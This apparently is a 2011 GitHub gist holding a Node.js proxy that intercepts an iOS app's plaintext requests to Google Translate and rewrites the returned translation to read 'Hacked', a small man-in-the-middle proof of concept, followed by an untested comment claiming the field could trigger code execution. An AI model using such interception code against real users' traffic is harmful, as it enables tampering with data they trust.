Created
December 20, 2011 07:04
-
-
Save itguy51/1500604 to your computer and use it in GitHub Desktop.
Google Translate iOS App Proxy Breaker
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var http = require('http'); | |
var sys = require('util'); | |
http.createServer(function (request, response) { | |
data = ""; | |
useSecl = false; | |
url = request.url; | |
transURI = "http://translate.google.com"; | |
if (url.indexOf(transURI) > -1) { | |
e = url.replace(transURI, ""); | |
http.get({ | |
host: transURI.replace("http://", ""), | |
path: e, | |
port: 80, | |
method: 'GET' | |
}, function (res) { | |
var pageData = ""; | |
res.setEncoding('utf8'); | |
res.on('data', function (chunk) { | |
pageData += chunk; | |
}); | |
res.on('end', function () { | |
data = JSON.parse(pageData); | |
data.sentences[0].trans = "Hacked. Your translation is also '" + data.sentences[0].trans + "'"; | |
data = JSON.stringify(data); | |
sys.log("Breaking..."); | |
}); | |
}); | |
useSecl = true; | |
} else { | |
useSecl = false; | |
} | |
var proxy = http.createClient(80, request.headers['host']) | |
var proxy_request = proxy.request(request.method, request.url, request.headers); | |
proxy_request.addListener('response', function (proxy_response) { | |
proxy_response.addListener('data', function (chunk) { | |
if (useSecl) { | |
response.write(data, 'UTF-8'); | |
} else { | |
response.write(chunk, 'binary'); | |
} | |
}); | |
proxy_response.addListener('end', function () { | |
response.end(); | |
}); | |
response.writeHead(proxy_response.statusCode, proxy_response.headers); | |
}); | |
request.addListener('data', function (chunk) { | |
proxy_request.write(chunk, 'binary'); | |
}); | |
request.addListener('end', function () { | |
proxy_request.end(); | |
}); | |
}).listen(8880); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Technically, you could make the 'trans' part of the JSON execute arbitrary code, and overflow the app, in turn, possibly crashing the iOS NetworkLayer